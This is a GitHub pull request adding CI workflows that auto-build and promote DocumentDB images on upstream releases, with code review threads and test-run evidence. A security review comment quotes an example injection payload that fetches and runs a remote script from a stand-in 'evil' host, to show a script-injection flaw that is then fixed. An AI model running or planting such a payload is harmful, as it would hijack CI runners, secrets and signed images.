feat(ci): auto-build DocumentDB images on new upstream release#410
feat(ci): auto-build DocumentDB images on new upstream release#410Ritvik-Jayaswal wants to merge 10 commits into
Conversation
Closes documentdb#360. Add watch_documentdb_images.yml which polls the upstream documentdb/documentdb repo on a schedule and, when a newer release than the current default is published, builds candidate documentdb + gateway images and opens a version-bump PR (human-merged gate). Make build_documentdb_images.yml and release_documentdb_images.yml reusable via workflow_call (build exposes documentdb_version and image_tag outputs) so the watcher can chain them. Document the automation in image-management.md and AGENTS.md. Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
There was a problem hiding this comment.
Pull request overview
Adds CI automation to detect upstream documentdb/documentdb releases and drive the “database image track” (build candidate images → promote to release tags → open a version-bump PR) with a scheduled watcher, reusing existing build/release workflows via workflow_call.
Changes:
- Introduces
.github/workflows/watch_documentdb_images.ymlto pollreleases/latestevery 6 hours (or manually) and chain into build + release workflows. - Exposes
workflow_callinterfaces forbuild_documentdb_images.yml(with outputs) andrelease_documentdb_images.yml(with inputs) to support chaining. - Updates documentation (
image-management.md,AGENTS.md) to describe the new automation and workflow entry.
Reviewed changes
Copilot reviewed 5 out of 5 changed files in this pull request and generated 1 comment.
Show a summary per file
| File | Description |
|---|---|
| docs/designs/image-management.md | Documents the new scheduled upstream release watcher and end-to-end flow. |
| AGENTS.md | Adds the watcher workflow to the CI workflow inventory. |
| .github/workflows/watch_documentdb_images.yml | New scheduled/manual workflow to detect upstream releases and invoke build + release workflows. |
| .github/workflows/release_documentdb_images.yml | Adds workflow_call trigger inputs to allow reusable invocation from the watcher. |
| .github/workflows/build_documentdb_images.yml | Adds workflow_call trigger outputs and updates version resolution + cosign verify identity matching for reusable runs. |
| # Already promoted? If the release tag exists, the bump PR is likely | ||
| # pending review/merge, so don't rebuild on every cron tick. | ||
| echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin | ||
| if docker manifest inspect "ghcr.io/${{ github.repository }}/documentdb:${NEW}" >/dev/null 2>&1; then | ||
| echo "Release image documentdb:${NEW} already exists; version-bump PR is likely pending merge. Skipping." | ||
| echo "should_release=false" >> "$GITHUB_OUTPUT" | ||
| exit 0 | ||
| fi |
|
🤖 Auto-triaged by documentdb-triage-tool. Applied: Reasoningcomponent from path globs (ci, docs); effort from diff stats (235+2 LOC, 5 files); LLM failed: Invalid response body while trying to fetch https://api.anthropic.com/v1/messages: Premature close If a label is wrong, remove it manually and ping |
xgerman
left a comment
There was a problem hiding this comment.
WE want to build the documentdb images from the official packages @guanzhousongmicrosoft is creating. Please adjust the build process.
We also want them to be build that we cna integarte them into the offical CNPG image gallery (see https://github.com/xgerman/postgres-extensions-containers/tree/xgerman/documentdb)
|
also instead of a watch on the documentdb repo we were thinking about using webhooks to trigger builds of new versions upon release |
…hook trigger Address review feedback on PR documentdb#410: - Install postgresql-18-documentdb from the official DocumentDB APT repo (documentdb.io/deb) instead of GitHub-release .deb assets; the meta-package pulls in Citus/RUM/pgvector/PostGIS so explicit cron/pgvector/postgis installs are dropped. APT package version is pinnable per build. - Make repository_dispatch (documentdb-release) the primary trigger for watch_documentdb_images.yml; demote cron to a daily safety-net. Add reference upstream sender workflow as docs/designs/upstream-release-dispatch-sender.md. - Idempotency: skip only when BOTH documentdb and gateway release tags exist; rebuild on partial promotion. - Gateway build unchanged (still from documentdb-local public image). Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
|
Thanks for the review @xgerman, pushed a rework (48bad40) addressing your three points:
Also fixed a flagged idempotency bug: the watch job now skips only when both One open question: your branch pins |
…documentdb-images Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com> # Conflicts: # .github/workflows/build_documentdb_images.yml
The official APT repo serves dashed Debian versions (e.g. 0.113-0), not dotted semver. Default the apt pin to VERSION_DASH and verify the exact postgresql-18-documentdb=<version> is present in the stable index (with bounded retry to absorb publish lag) before building, instead of only checking that the repo responds. Addresses review feedback from WentingWu666666 on PR documentdb#410. Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
|
e2e should exercise Three linked points: 1. Trigger e2e on Dockerfile changes. paths:
- '.github/dockerfiles/**'2. Triggering alone won't build it — registry mode short-circuits. 3. Fix the build-mode build args for the new contract. In build mode it currently runs: After this PR, One deeper limitation worth calling out: the new Dockerfile installs only from the published APT repo, so build mode can no longer build an image from a locally-compiled |
|
Please attach evidence of a full end-to-end run on your fork before merge. None of the new workflows ( Could you dispatch Expected if it's working end-to-end:
One practical note: run it against a version that's already published to the APT repo and has a matching |
Addresses WentingWu666666's e2e/build-mode review feedback on PR documentdb#410: 1. test-e2e.yml now triggers on .github/dockerfiles/** so Dockerfile_extension changes run e2e. 2. probe-images forces build mode when Dockerfile_extension is in the PR diff, so registry mode no longer short-circuits the modified Dockerfile. 3. Dockerfile_extension gains an optional DOCUMENTDB_DEB_PACKAGE build arg (installed via RUN --mount=type=bind) so build mode validates the source-built/unpublished .deb instead of silently installing the latest published package. Build-mode workflows pass it instead of the now-unused DEB_PACKAGE_REL_PATH; runtime deps still resolve from the official APT repo. Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
|
Thanks, all three addressed in ba17048:
This addresses your "deeper limitation" point directly — build mode keeps source-built/unpublished coverage rather than only working for already-published versions. |
The verify step matched the package version with grep -A1 '^Package:' | grep -qx 'Version: ...', which assumes Version is the line immediately after Package. In the real Debian Packages index the stanza order is Package / Source / Version, so the Version line was never captured and the check produced a false negative even when the version was published (e.g. 0.113-0). Replace it with a stanza-aware awk parser. Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
GHCR rejects tags whose repository path contains uppercase characters (repository name must be lowercase). The image references were built directly from github.repository, which preserves the owner login case, so builds failed on forks whose owner has uppercase letters (e.g. Ritvik-Jayaswal). Normalize the owner/repo to lowercase for all ghcr.io image refs in the documentdb build, watch idempotency check, and promote workflows. The cosign certificate-identity-regexp keeps the original case to match the OIDC certificate subject. Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
The extension install RUN uses 'set -eux' (set -u). Docker does not inject an ARG into the RUN environment when it has no value, so the APT path (which passes only DOCUMENTDB_APT_VERSION) failed with 'DOCUMENTDB_DEB_PACKAGE: parameter not set'. Use \ default expansion for both optional ARGs so an unset value is treated as empty. Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
The built-in GITHUB_TOKEN cannot push changes under .github/workflows/** (GitHub blocks it without the 'workflow' scope, which that token cannot be granted), so create-pull-request failed with 'refusing to allow a GitHub App to create or update workflow ... without workflows permission'. Drop the sed edits that rewrote DEFAULT_DOCUMENTDB_VERSION and dispatch 'default:' values in build_documentdb_images.yml and release_documentdb_images.yml. Those are only manual-dispatch fallbacks; the watch workflow resolves the real version dynamically from upstream releases, so leaving them static is harmless and keeps the automation self-contained (no PAT/App token required). Update the PR body to match. Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
Full workflow evidence: full
|
| Package | Release tag |
|---|---|
ghcr.io/ritvik-jayaswal/documentdb-kubernetes-operator/documentdb |
0.113.0 (+ 0.113.0-build-28470139299-1-5f7c17f, per-arch, .sig) |
ghcr.io/ritvik-jayaswal/documentdb-kubernetes-operator/gateway |
0.113.0 (+ 0.113.0-build-28470139299-1-5f7c17f, per-arch, .sig) |
4. Auto-opened version-bump PR
- PR:
chore: bump DocumentDB default images to 0.113.0(fork PR #2) - The bump PR only touches substantive version sources — no workflow files are edited:
operator/src/internal/utils/constants.gooperator/cnpg-plugins/sidecar-injector/internal/config/config.go+config_test.gooperator/documentdb-helm-chart/values.yaml.github/dockerfiles/Dockerfile_gateway_public_image
The workflow version fallbacks remain intentionally static (the real version is resolved dynamically at run time), so the bump PR no longer rewrites workflow defaults (otherwise the workflow would need more permissions).
|
Upstream documentdb/documentdb has published (newest first): v0.113-0 — June 22, 2026 (Latest) once that auto-build automation merges, its cron/dispatch would target only the latest (0.113.0) and open a single bump PR. it won't back-fill 0.111.0 and 0.112.0. To land those intermediate versions we might need to manually dispatch the workflow per version, right? |
xgerman
left a comment
There was a problem hiding this comment.
Code review — auto-build DocumentDB images on upstream release
Reviewed the watch → build → release chain, the extension Dockerfile, and the design docs. Nice work on the version normalization and the DOCKER_BUILDKIT wiring for the RUN --mount Dockerfile. One security issue I'd treat as a merge blocker, plus two lower-severity correctness notes — all flagged inline.
Summary
| Sev | Where | Issue |
|---|---|---|
| 🔴 Critical | watch_documentdb_images.yml:81 (also :105, :82, :163) |
Untrusted repository_dispatch client_payload.* interpolated into a run: block before the semver regex validates it → arbitrary command execution in a job with contents/packages/pull-requests/id-token: write and secrets: inherit. |
| 🟡 Minor | release_documentdb_images.yml:121-140 |
Unanchored global sed "s|:${OLD_VERSION}\"|...|g" can rewrite an unrelated same-versioned tag (latent, fires on a version collision). |
| 🟡 Minor | watch_documentdb_images.yml (top level) |
No concurrency: group — cron + dispatch + manual runs can race the promote step and the auto/documentdb-<version> PR branch. |
Verified clean
Dockerfile_extension: base-image pinning,--mount=type=bindcontext,${VAR:-}guards underset -u, and APT-vs-local-deb precedence all look correct;DOCKER_BUILDKIT: '1'was added everywhere the mount Dockerfile is built.- Version parsing: the
sort -Vnewer-than check + dashed→dotted normalization + semver regex are correct; downstream jobs receive the validatednew_version. - Legacy vs split divergence: the
DEB_PACKAGE_REL_PATH→DOCUMENTDB_DEB_PACKAGErename is consistent acrossbuild_images.ymlandtest-build-and-package.yml. - No
pull_request_target; action tag pins match the existing repo convention;actionlint+shellcheck clean on the changed workflows.
| run: | | ||
| set -euo pipefail | ||
| # Precedence: repository_dispatch payload > manual override > auto-detect latest. | ||
| PAYLOAD_VERSION="${{ github.event.client_payload.version || '' }}" |
There was a problem hiding this comment.
🔴 Critical — script injection from untrusted repository_dispatch payload into a privileged run: block.
PAYLOAD_VERSION="${{ github.event.client_payload.version || '' }}" # L81
APT_VERSION="${{ github.event.client_payload.apt_version || ... }}" # L105These ${{ }} expressions are textually substituted into the bash script before the shell parses it, so a payload that breaks out of the quotes runs arbitrary commands. e.g. client_payload.version:
0.111.0";curl -s https://evil/x|sh;echo "
turns L81 into PAYLOAD_VERSION="0.111.0";curl -s https://evil/x|sh;echo "". The semver regex (L101/L106) does not protect you — the injection fires at the assignment, before any validation.
Why it's critical: this is the workflow's primary external trigger. client_payload.version is the upstream documentdb/documentdb release tag (see upstream-release-dispatch-sender.md), controlled by anyone who can publish/edit a release in that repo — a broader trust boundary than this repo's maintainers. The job holds contents/packages/pull-requests/id-token: write and passes secrets: inherit (L192/L206) to the build+release workflows, so a hit can exfiltrate inherited secrets and push/sign malicious images via the cosign keyless identity.
Fix: route every untrusted value through step env: and reference the quoted shell var — env-injected values are not re-parsed as script text:
env:
PAYLOAD_VERSION: ${{ github.event.client_payload.version }}
OVERRIDE: ${{ github.event.inputs.version }}
PAYLOAD_APT: ${{ github.event.client_payload.apt_version }}
INPUT_APT: ${{ github.event.inputs.documentdb_apt_version }}
run: |
RAW="${PAYLOAD_VERSION:-}"
...Keep the regex as defense-in-depth. Apply the same to OVERRIDE (L82) and the dry_run check (L163) — those need repo write to trigger so they're lower risk, but fix for consistency.
There was a problem hiding this comment.
Fixed in ec9dbe8. The untrusted repository_dispatch payload and dispatch inputs (version, apt_version) are no longer interpolated as ${{ }} into the privileged run: block. They're now passed through the step env: and read as shell variables:
- name: Resolve latest upstream release
id: upstream
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
PAYLOAD_VERSION: ${{ github.event.client_payload.version }}
PAYLOAD_APT_VERSION: ${{ github.event.client_payload.apt_version }}
INPUT_VERSION: ${{ github.event.inputs.version }}
INPUT_APT_VERSION: ${{ github.event.inputs.documentdb_apt_version }}
run: |
set -euo pipefail
if [[ -n "${PAYLOAD_VERSION:-}" ]]; then
RAW="${PAYLOAD_VERSION}"
elif [[ -n "${INPUT_VERSION:-}" ]]; then
RAW="${INPUT_VERSION}"
...
APT_VERSION="${PAYLOAD_APT_VERSION:-${INPUT_APT_VERSION:-}}"GitHub injects these into the process environment rather than textually into the script, so a crafted release tag can't break out of the quoting. This also covers the manual-override (OVERRIDE) path you flagged at L82 — it's now INPUT_VERSION from env. The existing semver regex still validates the value afterward as defense-in-depth.
Verified on a real dry_run: false fork run built from the fix commit ec9dbe8: run 29514624553 — full detect → build → release chain green.
| @@ -121,17 +140,16 @@ jobs: | |||
| sed -i "s|:${OLD_VERSION}\"|:${NEW_VERSION}\"|g" \ | |||
There was a problem hiding this comment.
🟡 Minor — unanchored global sed can clobber an unrelated same-versioned tag.
sed -i "s|:${OLD_VERSION}\"|:${NEW_VERSION}\"|g" operator/src/internal/utils/constants.go # L121 (also L125, L140)This matches any :<old>" tag in the file, not just the DocumentDB/gateway ones. The repo runs two independent version tracks (operator vs database — see AGENTS.md), and constants.go also holds e.g. the OTEL collector image at a different version. It's safe today only because the versions differ; on a collision this would silently rewrite the wrong line.
Fix: anchor each substitution to its constant/key, e.g. s|(DEFAULT_DOCUMENTDB_IMAGE.*:)${OLD_VERSION}"|\1${NEW_VERSION}"| and likewise for DEFAULT_GATEWAY_IMAGE, rather than a bare :${OLD_VERSION}".
There was a problem hiding this comment.
Fixed in ec9dbe8. Each substitution is now anchored to its specific constant/key instead of a bare :${OLD_VERSION}", and dots are escaped so OLD_VERSION matches literally:
OLD_RE="${OLD_VERSION//./\\.}"
# constants.go — anchored per constant
sed -i -E "s|(DEFAULT_DOCUMENTDB_IMAGE[[:space:]]*=.*:)${OLD_RE}\"|\1${NEW_VERSION}\"|" \
operator/src/internal/utils/constants.go
sed -i -E "s|(DEFAULT_GATEWAY_IMAGE[[:space:]]*=.*:)${OLD_RE}\"|\1${NEW_VERSION}\"|" \
operator/src/internal/utils/constants.go
# sidecar config.go / config_test.go — anchored to the gateway image path
sed -i -E "s|(/gateway:)${OLD_RE}\"|\1${NEW_VERSION}\"|" \
operator/cnpg-plugins/sidecar-injector/internal/config/config.goValidated on a real fork run (29514624553, green). The auto-generated bump PR diff changes only the DocumentDB/gateway lines and leaves the co-located OTEL collector image untouched — exactly the collision case you flagged:
// DEFAULT_DOCUMENTDB_IMAGE is the extension image used in ImageVolume mode.
- DEFAULT_DOCUMENTDB_IMAGE = DOCUMENTDB_EXTENSION_IMAGE_REPO + ":0.110.0"
+ DEFAULT_DOCUMENTDB_IMAGE = DOCUMENTDB_EXTENSION_IMAGE_REPO + ":0.113.0"
- DEFAULT_GATEWAY_IMAGE = GATEWAY_IMAGE_REPO + ":0.110.0"
+ DEFAULT_GATEWAY_IMAGE = GATEWAY_IMAGE_REPO + ":0.113.0"
DEFAULT_OTEL_COLLECTOR_IMAGE = "otel/opentelemetry-collector-contrib:0.149.0" # unchanged| # Only handles the DATABASE version track (documentDbVersion). Operator/sidecar | ||
| # images follow a separate track (build_operator_images.yml / release_operator.yml). | ||
|
|
||
| on: |
There was a problem hiding this comment.
🟡 Minor — no concurrency: group on the watch workflow.
The daily schedule cron, a repository_dispatch, and a manual workflow_dispatch can overlap for the same upstream version, launching parallel build→promote→PR chains. The detect "images already exist" guard narrows but doesn't close the window — two runs can both pass it before either finishes pushing, racing the promote step and the auto/documentdb-<version> PR branch.
Fix: add a single-flight group, e.g.
concurrency:
group: documentdb-watch-${{ github.event.client_payload.version || github.event.inputs.version || 'auto' }}
cancel-in-progress: falseThere was a problem hiding this comment.
Instead of cron I was hoping for a web-hhok somethign we are also planning for COPR
There was a problem hiding this comment.
Fixed in ec9dbe8. Added a single-flight concurrency group keyed on the resolved upstream version, with cancel-in-progress: false so a half-finished promotion is allowed to converge rather than being killed mid-flight:
concurrency:
group: documentdb-watch-${{ github.event.client_payload.version || github.event.inputs.version || 'auto' }}
cancel-in-progress: falseThis closes the window you described — overlapping cron / repository_dispatch / workflow_dispatch runs for the same version now serialize instead of racing the promote step and the auto/documentdb-<version> PR branch.
There was a problem hiding this comment.
Instead of cron I was hoping for a web-hhok somethign we are also planning for COPR
Agreed, and that's already the primary path here: the workflow's main trigger is a repository_dispatch (documentdb-release) that upstream documentdb/documentdb fires on release: published — a webhook-style push, not polling. A reference sender workflow is drafted in docs/designs/upstream-release-dispatch-sender.md. The daily schedule cron is kept only as a low-frequency safety-net for a missed/dropped dispatch, and it's cheap (it exits early at detect when there's nothing newer). Happy to align the dispatch event name / payload shape with whatever you land on for COPR so both consumers share one sender contract.
|
🟢 Follow-up TODO (not for this PR): switch the gateway to a package install once the upstream gateway package lands. Not introduced here — flagging while we're in this area. The gateway image is currently built by extracting an unpackaged binary out of the public The upstream Linux-packaging redesign adds a first-class Two reasons this matters:
Suggest tracking this as a |
Addresses PR documentdb#410 review (xgerman): - Script injection: pass untrusted repository_dispatch payload / dispatch inputs (version, apt_version) via step env instead of interpolating workflow expressions directly into the privileged run block, so a crafted upstream release tag cannot break out of shell quoting and execute commands. - Concurrency: add a single-flight concurrency group keyed on the upstream version (cancel-in-progress: false) so overlapping cron / repository_dispatch / workflow_dispatch runs do not race the promote step and the auto/documentdb-<version> PR branch. - Unanchored sed: anchor each version substitution in release_documentdb_images.yml to its specific constant/key (DEFAULT_DOCUMENTDB_IMAGE, DEFAULT_GATEWAY_IMAGE, /gateway:) and escape dots, so an unrelated same-versioned tag (e.g. DEFAULT_OTEL_COLLECTOR_IMAGE) is never clobbered. - Add TODO(gateway-pkg) marker in Dockerfile_gateway_public_image to track migrating the gateway to a package install once the upstream documentdb-gateway DEB/RPM lands. Co-authored-by: Copilot <copilot@github.com> Signed-off-by: Ritvik Jayaswal <rjayaswal@microsoft.com>
Review fixes + fresh end-to-end evidence (commit
|
| # | Severity | Item | Fix |
|---|---|---|---|
| 1 | 🔴 Critical | Script injection from untrusted repository_dispatch payload |
Untrusted version / apt_version now passed via step env: and read as shell vars — never interpolated as ${{ }} into the run: block |
| 2 | 🟡 Minor | Unanchored sed could clobber same-versioned tags |
Each substitution anchored to its constant/key (DEFAULT_DOCUMENTDB_IMAGE, DEFAULT_GATEWAY_IMAGE, /gateway:) with dots escaped |
| 3 | 🟡 Minor | No concurrency: group on the watch workflow |
Added single-flight group keyed on version, cancel-in-progress: false |
(Also added a TODO(gateway-pkg) marker in Dockerfile_gateway_public_image per the separate follow-up note.)
Evidence run — 29514624553 — success
Built from the fix commit ec9dbe8. Full chain green: detect (should_release=true) → build (APT-verify + multi-arch documentdb + gateway build/push/sign/verify) → release (cosign verify, promote both, open bump PR).
Anchored-sed proof (auto bump PR diff)
Only the DocumentDB/gateway lines change; the co-located OTEL collector image is left untouched — the exact collision case flagged:
- DEFAULT_DOCUMENTDB_IMAGE = DOCUMENTDB_EXTENSION_IMAGE_REPO + ":0.110.0"
+ DEFAULT_DOCUMENTDB_IMAGE = DOCUMENTDB_EXTENSION_IMAGE_REPO + ":0.113.0"
- DEFAULT_GATEWAY_IMAGE = GATEWAY_IMAGE_REPO + ":0.110.0"
+ DEFAULT_GATEWAY_IMAGE = GATEWAY_IMAGE_REPO + ":0.113.0"
DEFAULT_OTEL_COLLECTOR_IMAGE = "otel/opentelemetry-collector-contrib:0.149.0" # unchangedIndividual replies are on each review thread.
Summary
Closes #360.
When a new version of DocumentDB is released upstream, the extension and gateway images should be built automatically, and the default version bumped in code and docs. This wires up that automation by reusing the existing build/release workflows and adding a scheduled watcher.
What changed
watch_documentdb_images.yml— polls the upstreamdocumentdb/documentdbreleases/lateston a cron (0 */6 * * *, plus manualworkflow_dispatchwithversionoverride anddry_run). When a release newer than the currentDEFAULT_DOCUMENTDB_IMAGEis found, it builds candidate images and opens a version-bump PR.build_documentdb_images.yml— added aworkflow_calltrigger exposingdocumentdb_versionandimage_tagoutputs; resolves the version from theinputscontext; cosign verify now uses an identity regexp so it passes when run as a reusable workflow.release_documentdb_images.yml— added aworkflow_calltrigger mirroring its inputs so the watcher can chain into it.docs/designs/image-management.mdand a workflow entry inAGENTS.md.Behavior
Scheduled poll → build candidate images → promote + open a
chore: bump DocumentDB imagesPR. Merging that PR is the human gate that makes the new version the default for new installs.Idempotent: once images are promoted, the
documentdb:<version>tag exists, so later cron ticks short-circuit until the bump PR merges (which advances the default and stops detection for that version). Drafts and pre-releases are excluded because detection uses GitHub'sreleases/latest.Notes
secrets: inherit). As with the existing manual release flow, the bump PR is created withGITHUB_TOKEN, so CI on that PR is re-triggered by a maintainer on review.repository_dispatch: documentdb-releasetrigger, so a real upstream webhook can still be wired later if a cross-repo PAT becomes available.Testing
watch_documentdb_images.ymlcan be exercised manually viaworkflow_dispatchwithdry_run: trueto confirm detection without building.